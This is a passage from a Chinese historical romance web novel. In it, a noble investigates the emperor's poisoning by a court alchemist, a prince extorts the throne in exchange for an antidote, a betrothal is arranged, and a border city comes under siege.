“便只说陛下是染了风寒,发病得急了些伤到了心肺。” “皇帝不大信,找了那张仙人来看。张仙人便说此乃天神考验,乃凡人飞升前必经的劫难。” “说是只要吃了他炼的仙丹,便可好转。” 叶川遥听了这话只觉荒诞至极。 “皇帝信了?” “信了啊,”沈管家道,“仙丹虽说还没炼出来,但陛下的精神倒因着这话好了几分。” 叶川遥嗤笑一声:“皇帝这是老糊涂了。” 管家笑笑,想着左右是在自己府里,便也没拦着,只道:“陛下这些年一心求心问道,的确急功近利了些。” “先前也有不少朝臣劝过,只是都被罚了回来,便无人再敢置喙了。” 叶川遥不以为意道:“随他吧,只别牵连到将军,管他求的是仙还是魔。” 管家笑着道:“是这个理儿。” 说着说着话锋一转:“哦,对了,还有一件事。” “听说太医院的孙太医昨夜偷偷去了三皇子府。” “孙太医?” 叶川遥闻言不解道:“若是有关皇帝的病症,大可在宫里大大方方地说。” “为何非要入夜偷偷摸摸地去三皇子府里?” “难道是有什么发现…不方便告诉其他人?” 管家想了想,摇摇头:“不知。” “我们的人只看到孙太医进了府,至于同三殿下说了什么,便不得而知了。” 叶川遥垂了垂眸,拿出纸笔快速写好一封信,交于沈管家。 “让暗卫将这封信交到三殿下手里。” 沈管家不明所以:“世子想做什么?” “我要去见三殿下一面。” “去见三殿下做什么?” 叶川遥笑笑:“与其在此猜来猜去,不如直接去问他便是。” 沈管家:“……” 不愧是将军思慕的人,有胆识! 第74章 一场大雨刚过, 骄阳当空,苍穹湛蓝。 水滴自菩提叶尖缓缓下坠,轻颤着消散于尘土间。 叶川遥端身立于神像前, 一身玉白长袍清雅俊逸。 他两手执香,心中默默祈福。 他人微力薄,什么忙也帮不上。 只能求诸神保佑沈翾, 早日肃清边关,平安归来。 虽说盛国求仙修道成风, 但叶川遥从前却并不十分信神。 可这会儿他却无比希望这世上真的有神明存在, 可以护他的心上人一世周全。 不多时,季泽行至神殿前, 冲身后的随从道:“本王进去为父皇祈福, 你们在门口守着。” 言罢便踏门而入。 叶川遥转身看见来人, 恭敬地行过礼:“见过三殿下。” “世子不必多礼。” 季泽慢步走到神像前, 恭敬地上过香。 转头朝叶川遥嗓音温润道,“世子此行是为大将军祈福?” “不错, ”叶川遥浅笑道:“我与将军相隔千里,不知那边是何情形, 只好来此求个心安。”’ “也祈求陛下龙体康健, 早日痊愈。” 季泽笑笑:“世子有心了。” “只是不知世子约本王前来, 所为何事?” 叶川遥颔首道:“事出从权,还请殿下恕阿遥逾越之罪。” 季泽嗯了声:“世子但说无妨。” 叶川遥直起身, 直言道:“听闻前天夜里,孙太医去了殿下府上, 不知是何缘由?” 季泽目光一顿,似有些吃惊。 随即看向他,意味不明地浅笑一声:“能有何缘由?” “不过是本王身子不适, 故而请孙太医过去瞧瞧。” 叶川遥轻轻弯了弯唇,不紧不慢道:“若是寻常看诊,孙太医又何需乔装打扮,还走了偏门?” “况且,殿下尊体康健,又何需太医去瞧?” 季泽笑笑,看着他幽声道:“没想到世子居然如此手眼通天。” “倒是本王低估了。” 叶川遥莞尔一笑,坦然道:“将军府里不也有三殿下的眼线?” “将军身处要职,总不能做个瞎子。” 季泽不以为意地笑笑:“所以世子究竟想知道什么?” 叶川遥想了想,开口道:“孙太医既瞒着宫里,私下见了殿下,定是发现陛下的病有蹊跷。” “且这蹊跷极有可能与一位身份尊贵之人有关,他得罪不起。” “如若不然,他大可以光明正大地说出来。如此大的功劳,又何必偷着藏着?” 季泽看向他,眼底多了几分锐利,沉声道:“这与世子有何干系?” “世子插手皇家之事,就不怕国公府受牵连?” 叶川遥拱了拱手,神色认真道:“将军临行前曾叮嘱于我,说有事可以求三殿下帮忙。” “阿遥自知逾越。” “但眼下将军不在京中,若陛下的病当真有蹊跷,那宫中必将生变,将军府也无法独善其身。” “故而阿遥斗胆向殿下讨一句真相,也好提前做好应对之策,防患于未然。” 二人一来一往,单刀直入,少了虚与委蛇,倒生出几分莫名的亲近来。 季泽目光深沉地盯着他看了会儿,忽而笑笑,漫不经心道:“世子这是把自己当成将军府的主人了?” “那本王是不是,该唤世子一声……表嫂?” “……” 叶川遥僵硬地扯了扯嘴角:“不敢当,殿下折煞了。” 季泽不以为意地弯了弯唇,在神殿内慢踱几步,慢条斯理道:“大将军对世子毫无隐瞒,本王信他,自然也信世子。” 他顿了顿,正色道:“孙太医给父皇号过脉,说父皇并不是病重,而是……中毒。” “中毒?”叶川遥吃惊地瞪大眼。 “是何毒,如何下的?” 皇帝向来谨慎,凡是入口的东西必是要仔细验过的。 就连皇后和郑贵妃亲手做的也不例外。 这下毒之人又是如何逃过众人耳目,做得如此滴水不漏? 季泽沉声道:“孙太医早年间曾四处游历,曾在西夷见过一种毒草。” “此草名唤百日沉,其毒性缓慢,不痛不痒。” “待中毒者有所察觉却已是毒入心肺,无力回天。” 叶川遥闻言只觉惊骇。 能避开众人耳目下毒,必是皇帝身边极亲近之人。 如此,就只有几位娘娘和内侍了…… 他微微皱了皱眉:“殿下有何打算?” 季泽道:“孙太医正在排查父皇这几日的饮食,不日便会有眉目。” 叶川遥若有所思地点点头。 “那殿下定要小心行事。” “若有需要阿遥之处尽管吩咐。” 季泽笑道:“既如此,本王倒真有一事想请世子帮忙。” 叶川遥抬了抬眼,清声道:“殿下请讲。” 季泽看着他问:“世子可知宫里的张仙师?” “张仙师?”叶川遥回忆道,“是万寿节上陛下提到的那位仙师?” “不错,”季泽点头道,“本王身旁耳目众多,稍有不慎,恐打草惊蛇。” “只能劳烦世子,将这位仙师的过往仔细地查一查。” “殿下是怀疑下毒一事与此人有关?” 叶川遥眸色一亮:“是仙丹?” 季泽点头称是。 “父皇一向谨慎,唯独对这位仙师颇为信任。” “只是如今仙丹已经停用,倒是无从查起了。” 叶川遥若有所思地点点头。 这个张仙师当初是由季寒举荐给皇帝。 若下毒一事当真乃此人所为,那季寒也必定脱不了干系。 他本无意卷入夺位的漩涡中,但他与季寒之间的新仇旧恨早已算不清。 若是季寒即了位,他和沈翾往后的日子大抵再也无法安生。 既如此,他也不得不做出选择了。 叶川遥思索过后,颔首道:“殿下放心,我定会将此人好好查清楚。” 季泽温润一笑:“那便有劳世子了。” 从寺庙离开后,叶川遥回了趟国公府,陪家人用过午饭,随即便又回到将军府,将调查张仙师一事安排下去。 他叫来管家:“海叔,你能否联系上忘川阁?” 南桑不在,也不知阁中事务如今是谁在打理。 管家点头道:“世子放心,老奴这就是传信,让他们立刻去查。” “好,”叶川遥松了口气,,“告诉大家务必小心,切勿走漏风声。” 有忘川阁出马,相信不日便会有消息。 只是不知沈翾那边情形如何了…… 陵川大营内,沈翾同吴参军冷眸沉沉地盯着面前的舆图。 吴参军神色凝重道:“北渊此次来势汹汹,却按兵不动,究竟是何意图?” 北渊此次来了五万大军,在五里外安营扎寨已有七日,却迟迟不曾进攻,着实反常。 沈翾眸色沉了沉,思索片刻道:“让大家打起精神,严防偷袭。” 吴参军应了声:“是。” 下毒一事经查乃西夷细作所为。 如今北渊兵临城下,绝不可再重复覆辙。 沈翾看向吴参军:“京中现下情形如何?” “听说陛下的病情依旧未有好转。” “如今三殿下和六殿下共同监国,二人政见时有相悖,两党之争愈演愈烈……” 吴参军说着叹口气:“陛下糊涂啊……” 太子人选一日不定,朝廷上下便无一日安宁。 沈翾眼底漆黑深沉。 如今朝中动荡,内忧外患,夺位之战一触即发。 也不知小少爷在京中可会害怕…… “报!”有侍卫前来帐中通传,“将军,有您的信。” 沈翾接过,垂眸轻扫,忽地抬眉一笑。 倒是他多虑了。 世子远比他想象的还要厉害。 都能独当一面了。 心里顿时少了些担心。 他想象着叶川遥得意洋洋地扬着下巴的模样,不禁一笑。 只觉思念更甚。 头顶明月皎洁,月色流淌。 同在一片苍穹之下,倒也算是对影成双了。 …… 整个太医院这几日都在为皇帝的病废寝忘食。 各种名贵药材用了无数,方子换了又换,才终于有了些起色。 这一日,眼见着皇帝的精神好了些,皇后和妃嫔们都面露喜色。 皇帝自己也高兴,连早膳都多用了几口。 早膳过后,皇帝借着软枕坐起身来,喘着粗气道:"躺了这些日子,朕这腿都快没有知觉了。" "陛下受苦了。"郑贵妃一脸心疼道。 "好在陛下的精神一日好过一日,定用不了多久便能康复。" "到时候臣妾陪您去御花园好好逛逛,陛下说好不好?" 皇帝费力地咳了几声,脸上挤出一抹笑道:“你啊,惯会哄朕高兴。” 皇后垂眸不语,在一旁兀自倒了杯茶 ,脸上神情淡淡。 皇帝看她一眼,目光莫名地闪了闪,缓缓道:“皇后这些日子辛苦了。” 皇后将茶递到皇帝面前,嗓音无波道:“照顾陛下是臣妾的本分。” 皇帝接过茶喝了一口,随即将茶盏放在一旁的矮几上。 忽然叹声道:“朕记得,你刚入王府那年,朕也病过一场。皇后也是这样衣不解带地照顾朕。” “一转眼,都已经二十多年了……” 他说着眼中露出一抹意味不明的情绪,与平时精于算计的模样大相径庭。 皇后的目光顿了顿,随即声音如常道:“太久了,臣妾已经记不大清了。” 皇帝怔怔地看了她一会儿,无声地叹了口气,没再说什么。 郑贵妃在心里哼了声。 她再体贴再会讨皇帝欢心又有何用,人家才是结发夫妻。 她做得再多,皇帝也只会想到皇后的好。 看来寒儿得赶紧登上太子之位,否则若陛下顾念旧情,真要传位给季泽…… 三人心中各怀心事,直到有内侍前来通传。 “启禀陛下,三殿下和周大人还有孙太医在外求见。” “宣。” 皇后和郑贵妃一同起身:“臣妾告退。” 季泽进了门,向两位娘娘行过礼,遂走到皇帝面前。 “儿臣给父皇请安。” 也许是病了的缘故,皇帝这几日总是想起从前的日子。 这会儿见了季泽,便想起小时候他抱着自己的腿,软软糯糯地喊自己父皇的场景。 曾经稚嫩的孩童什么时候都已经长这么大了。 皇帝心底蓦地一软,抬手道:“起来说话吧。” “谢父皇。” 季泽站起身,看着面前的人道:“父皇尚在病中,儿臣本不该来叨扰,惹父皇费心。” “但此事事关重大,实在不得不向父皇禀明。” 皇帝看向他,又看一眼一旁的周印和太医,沉声道:“无妨,说吧。何事?” “回父皇,”季泽直击重点道,“其实父皇此次并非染病,而是中毒。” “这几日,儿臣与周大人、孙太医日夜彻查,终于窥得真相。” 皇帝心中惊诧不已,他虽也隐隐觉得自己的病来得蹊跷,却并不曾往中毒上思量。 谁有这么大的胆子,这么大的本事,能在他眼皮子底下下毒? 他重重地吐了口气,沉声道:“继续说。” “下毒之人便是张仙师。”季泽直言道。 皇帝闻言又咳了起来:“怎么会是仙师…不可能…咳咳…” “父皇息怒,”季泽继续道,“此事千真万确,张仙师在进献给父皇的仙丹里掺了百日沉。” “此毒生在西夷,无色无味,极难察觉。若不是孙太医早年游历曾见过此毒,恐怕根本无迹可寻。” 皇帝不是愚钝之人,自然一听便明白,却实在不愿意相信。 “寒儿……” “朕那么疼他,他不会如此对朕的。” “不会是他,定是有旁人从中作梗!” 季泽眼底微微一闪,淡定道:“那个张仙师从前不过是西夷的一个江湖骗子。” "半年前却突然来到京城,成了六皇子府的门客,后来又摇身一变成了一位得道仙师。” “父皇若不信,大可以亲自审问。” 皇帝剧烈地咳嗽着,喘气原来越急。 “去,去宣六皇子和仙师……” 话音未落,一道清脆的嗓音从门外传来。 “不用宣了,儿臣来了!” 季寒大摇大摆地进了门,面带微笑地朝皇帝躬了躬身。 “儿臣给父皇请安。” 第75章 奢华的寝殿内飘着药香。 皇帝半躺在榻上, 目光幽沉地看向殿中之人。 “寒儿,你跟朕说实话,张仙师所行之事, 你究竟……是否知情?” 季寒弯唇笑笑,清秀的脸上丝毫不见慌张,甚至还有几分不合年纪的游刃有余。 他目光坦荡地看向皇帝, 语气如同平日一般亲昵轻快,像个不谙世事的少年。 “儿臣有话想单独对父皇说, 还请父皇屏退左右。” 季泽立于一旁, 黑白分明的眼底闪过一抹深色。 张仙师下毒一事证据确凿,容不得狡辩。 但看季寒如此气定神闲, 季泽心里总有些不好的预感。 从小到大, 季寒做下的恶可谓不计其数。 可再大的过错, 皇帝最终还是轻轻放下。 同样是皇子, 皇帝对他这个嫡子的宠爱还不及季寒的万分之一。 季泽压下心中怅然,抬手冲皇帝道:“父皇三思。” “六弟与张仙师谋害父皇一事紧紧相关, 独自留下实在不妥。” 他看向季寒:“六弟有话不妨直说。” 季寒笑笑,不紧不慢道:“父皇, 儿臣所言之事正与您的龙体有关, 只是不方便说予旁人听。” “所以还请父皇屏退左右。” 皇帝探究的目光落在季寒脸上。 眼前这个笑容纯良的少年, 是他最疼爱的皇子,是他捧在掌心长大的天之骄子。 怎么可能会下毒害他? 他实在不愿意去相信。 就算事实摆在眼前, 他还是盼着这其中能有什么别的缘由。 皇帝打量季寒片刻,终是应了下来。 “六皇子留下, 其余人先退下吧。” 季泽垂了垂眸,眼底幽深如寒潭。 他躬身应了声是,随即带着其余几人转身出了寝殿。 偌大的房里只剩皇帝和季寒二人。 父子俩双目相对。 皇帝咳了两声, 看着面前高过自己头顶的人道:“寒儿,这究竟是怎么一回事?” “你与那张仙师…究竟是何关系?” 季寒慢步走到榻前,看着皇帝道:“父皇,儿臣寻到一位高人,可解父皇身上的毒。” “只要用上解药,父皇不日便可痊愈。” 皇帝眸中一亮,一时竟忘了追究下毒一事,只喘着粗气道:“那还不……快把人带来……” 季寒笑笑,语气俏皮道:“父皇,儿臣如此尽孝,父皇是不是该奖励儿臣些什么?” 皇帝用力吐出一口气,同往常一样,只当他是想要讨些封赏。 遂抬了抬手道:“你想要什么,父皇赏你便是……” 季寒点点头,蹲下身看着榻上面色苍老的人,笑容纯真道:“既如此,父皇便将这皇位给了儿臣,如何?” 皇帝闻言一时怔住。 他有些不可置信地看着蹲在自己面前的少年,险些以为自己听错了。 “你说……什么?” 季寒站起身,居高临下地看着皇帝,面色自然道:“父皇年事已高,合该早些颐养天年,潜心修道,以待早日羽化成仙,万不可再为国事操劳。” “那便让儿臣为父皇分忧,替父皇执掌这天下,如何?” 皇帝的眼中满是慌张错愕。 他瞪大了眼,似快要不认得眼前这个总是恭敬乖巧的儿子。 嘴唇轻颤几下,他哑声道:“你……你这是何意?” “难道要造反不成?” 季寒坐在桌前,给自己倒了杯茶,不疾不徐道:“那些老匹夫既不同意父皇立儿臣为太子。” “那父皇不如直接将皇位传于儿臣。” “待儿臣登上大位,看谁还敢置喙半句。” “你,你这个不肖子!” 皇帝一口气险些没能提上来,胸口上下起伏着。 瘦得只剩皱纹的脸上一片青紫,向来锐利的眼底只剩怒火一片。 他重重地咳了几声,手腕颤抖地指向季寒道:“朕还没死,你就想夺朕的皇位了……” “原来,原来他们说的……都是真的?” “是你让张仙师给朕下毒……你,你这个混账……” “来人,把这个不孝子押下去!” “父皇可要三思啊!”皇帝话音未落,季寒便出声将其打断。 他瞪着圆溜溜的双眼,一副无辜的模样道:“您若真把儿臣关起来,这天底下可就无人能解您身上的毒了!” “如今毒性已入心肺,若再不用解药,父皇只怕连十日都熬不过。” “你,你这个狼崽子!”皇帝气极,眼底一片猩红。 “是朕瞎了眼,白疼了你这些年!” “疼我?”季寒嗤笑一声,眼底露出一抹厉色。 “从小到大,儿臣什么都要听父皇和母妃的,根本没有什么是儿臣可以自己做主的。” “您觉得,这叫疼我?” 他转过身,边踱步边道:“八岁那年,儿臣结识了一个比我大两三岁的小太监。他见母妃对我管束严苛,便偶尔从宫外给我偷偷带些小玩意儿。” “糖人,木雕,还有用芦苇叶编的蝴蝶……” “儿臣从未见过这些,高兴极了。” “可没过几日,父皇您得了信,将儿臣训斥了一通。说儿臣身为皇子,不该同低贱的宫人一同玩乐。” “儿臣苦苦央求,可父皇还是将那个小太监乱棍打死……” 皇帝怔怔地听着季寒说着他早已记不起的往事,一时无言。 “十岁,我想学剑,父皇不许。” “您说为君者坐拥天下,万物皆为帝王手中利刃,又何需亲手执剑?” “十五岁……” 季寒顿了顿,眼底微光一闪,轻声道,“儿臣心中有了思慕之人,可父皇却不许儿臣与他来往。” 听及此,皇帝难以置信地摇了摇头。 “就为了这些,你就要谋害你的父皇? ” “儿臣本不想的!”季寒睁大眼大喊道,“是您逼我的!” “您口口声声说最疼我,却因为不过区区几个朝臣反对便迟迟不肯立儿臣为太子!” “做皇帝做得如此窝囊,又有什么意思?还不如早些将这皇位传于儿臣!” 皇帝老泪纵横,病弱的身躯如暮秋里颓败的枯枝,摇摇欲坠。 他看着面前几近疯癫的少年,嗓音无力地嘶喊着:“你,你疯了!” 季寒嗤笑:“那又如何?” “待儿臣将这天下握在手中,便想要什么人就能得到什么人!” “再也没有人能拦着本王!” 他眼中的光狠厉贪婪,像一只饥饿已久的狼,什么也不能阻挡他朝着猎物而去。 皇帝惊愕地看着面前这个自己昔日最宠爱的儿子。 他心知事已至此,一切已无回旋的余地,只好叹口气,认命般地问:“你想怎么样?” 季寒冷静几分,看着皇帝道:“您将皇位传于儿臣,儿臣便让医师替父皇治病。” “您放心,待儿臣登基,您的尊贵荣华与从前不会有半分不同,且不必再为朝政烦忧,岂不快哉?” “尊贵荣华?”皇帝哼了声,“若朕将皇位传于你,朕还有命活吗?” 季寒哂笑:“父皇,若无解药,用不了十日,您便会毒发而亡。” “您没得选了。” 残酷的话一字一句敲在皇帝的心上,让本就悬着的心慌得更厉害。 他垂眸思索,心知已无力扭转,只得尽力自保。 “我大盛从无皇子直接登基的先例。朕可以先下旨册封你为太子。” “若三个月后,朕龙体康复,便退位颐养天年。” “若朕有什么闪失,则由三公共同辅政。” 三公辅政,皇帝便形同傀儡,季寒到时想要执掌实权,怕是难于登天。 何况三公上面还有个大将军沈翾。 他与沈翾积怨已深,这个皇位,他怕是坐不安稳。 果然姜还是老的辣。 不过倒也无妨,到时再做打算便是。 眼下夺位才是最要紧的。 “父皇思虑得倒是周全。”季寒笑笑,对此不以为意。 “儿臣答应父皇便是,请父皇拟旨吧。” 不多时,三公得了宣召进宫,一行人齐身跪在殿中。 皇帝强撑着拟好诏书。 殿中几人听完宣读,皆是大惊失色。 老太傅磕头道:“陛下三思啊!” 皇帝摆摆手,疲惫地闭上眼。 “朕心意已决,都退下吧。” “陛下!” 周印和季泽对视一眼,并未多言,起身出了门。 翌日,季寒被封太子的消息传遍京城。 叶川遥自然早早便得了信,惊诧之余不免生出些担忧。 如今季寒封了太子,定会一手遮天。 他更需万分小心才是。 他在府里安分地待了几日,连大门都没出过,直到府上来了一位不速之客。 陆清玖风尘仆仆独自前来。 叶川遥将人迎进前厅,奉上茶,清声问:“将军现下不在府中,陆公子此番前来,可是有何要事?” 陆清玖端起茶杯饮了口,有些别扭地清了清嗓子,低声道:“我不是来找表哥的,我,我是来找你的…” “找我?”叶川遥一脸惊讶。 “嗯,”陆清玖将手中的茶盏放下,有些不好意思地看着他道,“过两日我要去蜀郡下聘,想请世子同我一同前去……” “下聘?”叶川遥的眼瞪得比方才还大了一圈。 “给谁下聘?” 这才多久没见,这家伙就要成亲了? 陆清玖的耳尖红了红,轻轻道:“沐北王府。” 叶川遥眨眨眼,眼珠子快要惊得瞪出来。 这两个人是什么时候…… 等等! 他顿了顿,恍然想起万寿节宫宴上的事。 “是因为赐婚的事?” 陆清玖摇摇头,将事情一五一十地讲给他听。 原来那日宫宴后,季兰青曾去找过陆清玖。 一是感谢他站出来替她解围,二是告诉他不必将这桩婚事放在心上。 等风声过后,随便寻个什么由头将婚事作罢便是。 可陆清玖却说他愿意同她成婚。 如此,同家人一商量,便决定两日后去蜀郡正式下聘。 因着叶川遥与沐北王府有几分旧交,陆清玖怕礼数不周怠慢了郡主,这才求到他这来,想让他陪他一道前去。 叶川遥想了想,一则心中为他们二人高兴。 二则季寒如今成了太子,他留在京中怕是更危险。 陪陆清玖走这一遭倒也不错。 而且,蜀郡离陵川不远,到时,他便可以溜进陵川城中,去偷偷看沈翾一眼…… 如此想着,便痛快地应下来。 “好,那我陪你去!” 陆清玖闻言欣喜不已:“好,多谢。” “那两日后,世子来江州城找我,我们一道出发。” 叶川遥笑着应下:“好。” 第76章 江州首富与沐北王府结亲, 怎么都算是一件大喜事。 沈翾剩下的亲人不多,不过就一位姑母和一位姨母。 陆锦对他又向来疼爱有加。 这礼自然是万万少不得的。 可他现下不在京中,无暇顾及, 只得由叶川遥代为打点一二。 叶川遥出门逛了一整日,又同管家商议了半天,最后挑了整整三马车的礼。 一件一件亲自点过, 生怕有一处疏漏。 看着礼箱装上了车,叶川遥笑着拍拍手, 心里觉得自己可当真是个贤内助。 能拥有像他这般能干的人, 大将军真是三世修来的好福气! 就偷着乐吧。 等沈翾回来,定要他给自己一份大大的奖赏才行! 管家备了些吃食, 又啰里啰嗦再三叮嘱了一番, 这才放车队上路。 将军不在, 他实在放心不下世子独自出门。 不过好在有凌舟陪着, 这才稍稍放宽了心。 江州距离京城并不远,不过一日的车程便到了。 此地土地肥沃, 商贸发达,民生富庶。 而陆家又是江州首富, 田地铺子数不胜数。 府邸更是气派得堪比王府。 叶川遥站在门口, 发出无声感慨。 怪不得八千两的匕首, 沈翾连眼都不眨一下就送他。 原是他见识浅薄了。 早知如此,应该多要几把的。 陆锦见了叶川遥喜笑颜开, 亲亲热热地将人迎进屋里。 “许久不见,阿遥真是越发俊秀了!” “个子好像也高了些。” 叶川遥乖巧地笑笑:“锦夫人谬赞了。” “锦夫人您才是容光焕发, 越发年轻了!” 陆锦哈哈笑了几声:“你这孩子,惯会哄人!” “别锦夫人锦夫人的,怪生分的, 叫姨母。” 叶川遥犹豫一瞬,想着自己与沈翾如今的关系,这声称呼倒也没什么不妥。 于是甜甜地唤了声:“姨母……” “哎,这就对了!” 陆锦笑开来,看着他道:“此番下聘就辛苦阿遥陪我们走一趟了。” 叶川遥笑着道:“姨母客气了,正巧我也想出去走走。” “况且玖儿与郡主喜事将近,我也跟着高兴。” 陆锦亲切地握着他的手,点头笑道:“郡主聪明伶俐,能跟沐北王府结亲,姨母也是欢喜得很。” “只是我陆家乃商贾出身,郡主身尊玉贵,万不可有礼数不周之处,怠慢了人家。” “还要阿遥多帮忙提点着些才好。” 被人信任和依赖的感觉属实不错。 叶川遥笑笑,老成在在道:“姨母放心,王爷一家并非那吹毛求疵之辈,必不会为难玖儿。” 陆锦笑着轻叹一声:“那就好,有你在,姨母放心!” “我让人备了午饭,用过之后我们再动身。” “好,多谢姨母。” 午饭过后,叶川遥和陆清玖一家便带着聘礼浩浩荡荡地出发。 陆锦和丈夫一辆马车,叶川遥则同陆清玖一辆。 路上无聊,两人有一搭没一搭地闲聊。 都说男子成了亲才会懂事,这话诚不作假。 从前桀骜不驯,连天王老子也不放在眼里的陆小公子,如今有了心上人,竟也稳重了几分。 叶川遥将沐北王的喜好讲给他听。 陆清玖一一记下,打算到时候同其所好,讨得未来岳丈欢心。 两人一个说一个点头,狭窄的马车内竟甚是和谐。 一派兄友弟恭的模样。 末了,陆清玖还向对方客气地道了声谢。 叶川遥笑笑:“你这么客气,我倒有些不习惯了。” 陆清玖耳根红了红,含糊道:“表哥不在,我自然要替他多看顾你一些。” 这话听得叶川遥一愣。 他比他还大上一岁,何时需要他来照顾了? 不过既知对方是好心,叶川遥的心里倒也生出一丝暖意。 笑了笑道:“那多谢了。” 陆清玖抿了抿唇,若有所思地打量他一眼。 漫不经心地问:“表哥离京已近一个月,你……” “你还好吧?” 叶川遥不明所以地看向他。 “我挺好的啊。” 有吃有喝有人伺候,别提多舒坦。 “真的?”陆清玖半信半疑。 叶川遥看着对面一脸复杂的人,噗嗤一笑。 怎么,难不成还非得要他相思成疾才行? 虽说也确实快了。 但面子还是要给自己留几分的,不能表现得太明显。 “真的……”他不以为意地拉着长声道,“我又不是离了你表哥便活不下去。” “一个月而已,有什么的。” 不过就是夜里想他想得睡不着而已。 能有什么大不了的。 还能少块肉不成? 陆清玖哦了声,看着他瘦了一圈的脸颊,意味不明地点点头。 从前他不知情为何物。 更不明白为何像表兄那样的人也会对一人动情。 直到他的心里有了季兰青,才明白情之一字,本就是毫无缘由的。 那些情愫来得突然又猛烈。 一旦在心底扎了根,便会肆意蔓延,再也无法将其拔出。 心中藏着浓情的两人,分开一日便已是煎熬。 更何况是如此之久…… 陆清玖想着想着不禁叹了口气,一时不知是在心疼谁。 三日后,一行人马终于到达沐北王府。 季兰青得了通报便提着裙子从大门里跑出来。 见陆清玖从马车里下来,满脸都是惊讶和掩饰不住的欢喜。 “你怎么来了?”有些不知所措地明知故问。 陆清玖看着面前笑靥如花的人,憨笑一声:“我,我来提亲。” 季兰青看向街上一眼望不到头的聘礼车队。 那日他说愿意同她成婚,却没想到他会这么快就来提亲。 像在做梦。 她的心里甜滋滋的,脸上难得露出几分娇羞。 低着头轻声道了句:“提亲就提亲,弄这么大阵仗做什么……” 陆清玖道:“准备得匆忙,礼薄了些,还望郡主莫要怪罪。” “等成亲时,我再给郡主备更好的礼!” 见他一副信誓旦旦的模样,季兰青觉得甚是稀奇。 忍不住弯了弯唇,玩笑道:“这还叫薄礼啊?” “陆小公子果然财大气粗。” 陆清玖咧嘴笑笑,目光温柔地看着面前的人。 “我,我只是想把最好的都给你。” 叶川遥在一旁看着,默默在心中拍案叫绝。 谁说武人不懂风月的? 瞧瞧我们陆小将军,小小年纪,情话说得如此出神入化! 这谁听了不迷糊? 果不其然,季兰青被这一番话感动得一塌糊涂。 看着陆清玖的眼睛泛着水光,亮极了。 直到陆锦和丈夫从马车里下来,季兰青才回过神来。 忙上前朝二人见过礼。 “兰青见过锦夫人,刺史大人。” “郡主快快请起,”陆锦眉眼笑开,对面前这个笑容甜美的女孩很是喜欢。 沐北王此时也从府中出来,朝几人迎上去。 “几位远道而来,有失远迎,快快里面请!” 几人随他进了正厅,各自落座,热热闹闹地寒暄了一会儿,才进入正题。 叶川遥是晚辈,又算是陆清玖的半个兄长,有些事由他出面最好不过。 他起身走上前,将一沓文书样的东西递到沐北王面前。 “王爷,这是聘书和礼单,请王爷过目。” 沐北王各自打开看了眼,笑容温和道:“这聘礼实在太过贵重了些。” 锦夫人笑道:“郡主身尊玉贵,自然值得最好的。” 沐北王倒也没再推辞。 聘礼代表男方的诚意,不好驳了面子。 两家和和气气地商谈着,没多久便将婚期直接定了下来。 下个月十六,大吉的日子。 陆清玖和季兰青对视一眼,双双红了脸。 却又不由自主地会心一笑。 婚事商定好,陆锦和丈夫便打道回府,留下陆清玖和叶川遥二人再多住几日。 叶川遥不想做那多余之人,可季兰青偏要拉着他说话。 比起自己的婚事,她似乎更关心他的事。 “你和大将军的事,我都听说了。”季兰青道。 “哦,是吗……”叶川遥扯了扯嘴角。 这传言还真是够快的。 季兰青颇为豪爽地抬手拍了拍他的肩,道:“世子不必在意旁人说了什么。” “日子是自己过的,自然该由着自己的心意。” “跟谁在一起才最畅快,也只是自己才清楚。” 叶川遥眨眼笑笑:“郡主说的极是。” 他心里惦记着去陵川的事,这王府也待不下去。 第二日一早便带着凌舟向几人辞行。 可刚出城门不过三里,就见一行重兵铠甲的士兵正朝城门的方向而来。 一眼望去至少一万人。 叶川遥仔细看了看那高举的战旗。 竟是西夷。 可西夷距离蜀郡遥远,为何会突然发兵? 情势紧急,容不得细想。二人立即调头返回城中。 守城的将士显然也已发现,城防营的将士们已守在城墙之上。 陆清玖随后也赶了过来。 二人报了身份,随王都尉一道站在城墙上,遥遥望着西夷大军朝着这边逼近。 叶川遥问身旁之人:“王都尉,如今城中守军共有多少?” “蜀郡城中各部加起来也就只有五千人。” “我已向其他几郡传了消息,只是不知能不能等到援军赶到。” 陆清玖拔出手中长剑,目光如炬。 “援军到来之前,拼死也要守住城门。” “绝不可让西夷破城!” 大军缓缓逼近。 叶川遥蹙眉望去,一颗心不禁提了提。 从前他总想着有朝一日,自己也可以纵马执剑,驰骋沙场。 却没想到这一日竟来得这么早。 毫无防备。 也许战事本就如此,根本不会给你准备的空闲。 今日一战。 不是你死,便是我亡。 第77章 蜀郡虽与西夷相邻, 但往西不远便是绵延山脉。 故而平日里城防并非坚不可摧。 北边如今陵川和北渊对峙。 西夷插不进来,于是另辟蹊径,远道而行, 从守卫松懈的蜀郡下手。 叶川遥望着不远处黑压压的人头,目光如炬。 北渊也就罢了,竟连西夷也开始打盛国的主意。 四面楚歌不过如此。 攻城之战一触即发。 蜀郡兵少, 正面对敌必败,只能竭力守城等着援军到来。 王都尉带着将士们挡在城门外, 与来敌正面厮杀。 弓箭手则在城墙上防守, 两方配合,倒也能拖上一阵。 叶川遥同陆清玖一道站在城门外, 同守军们并肩作战。 刀枪剑戟, 直逼要害, 容不得手软。 倒下的尸体躺在脚边, 甚至连悲伤唏嘘的功夫都没有,便要应付下一个刀光剑影。 对方人数太多, 守军眼看快要支撑不住。 叶川遥轻喘着,向来清澈的桃花眼底漫出几分戾气。 侧身躲开身前直奔而来的利刃, 反手利落地一剑刺去。 血肉崩开的声音随即而来。 猩红血迹落在白皙如玉的皮肤上。 他向来爱干净, 这会儿却连抹一把脸都顾不上。 西夷架起了梯子, 陆陆续续已有人登上城楼。 王都尉朝身后看了眼,冲奋战中的二人大喊:“世子, 陆公子,你们快走!” “城门撑不了多久, 我顶着,你们快去找援军!” 守城是他的职责,这二人本就是来帮忙的, 他实在不忍他们命丧于此。 何况大将军顶天立地,护着他们过了这些年的安稳日子,若世子有什么闪失,他又怎么对得起大将军! 守军在人数上失了势,能撑到如今已是不易。 剩下的人已不足一百,敌军步步紧逼,如此下去,用不了几时城门就要失守。 叶川遥撑着剑单膝跪在地上,发丝凌乱。 淡蓝色的衣袍上满是污垢,肤白如玉的脸上血迹斑斑,称得上狼狈。 一眼美目却熠熠发亮。 他狠狠喘了口粗气,嗓音洪亮。 “将士们,城中便是我们的家人血亲,绝不能让敌军进城!” “援军就快来了,坚持住,拼死也要守住城门!” 一阵嘶喊声响起,震耳欲聋。 将士们拼尽全力抵挡着西夷人的进攻,刀剑划在身上也恍若无觉。 若身死便能护住城中万千百姓,脑袋落地又有何惧? 可到底还是寡不敌众,眼看着剩下的守军越来越少,不知还能再撑多久。 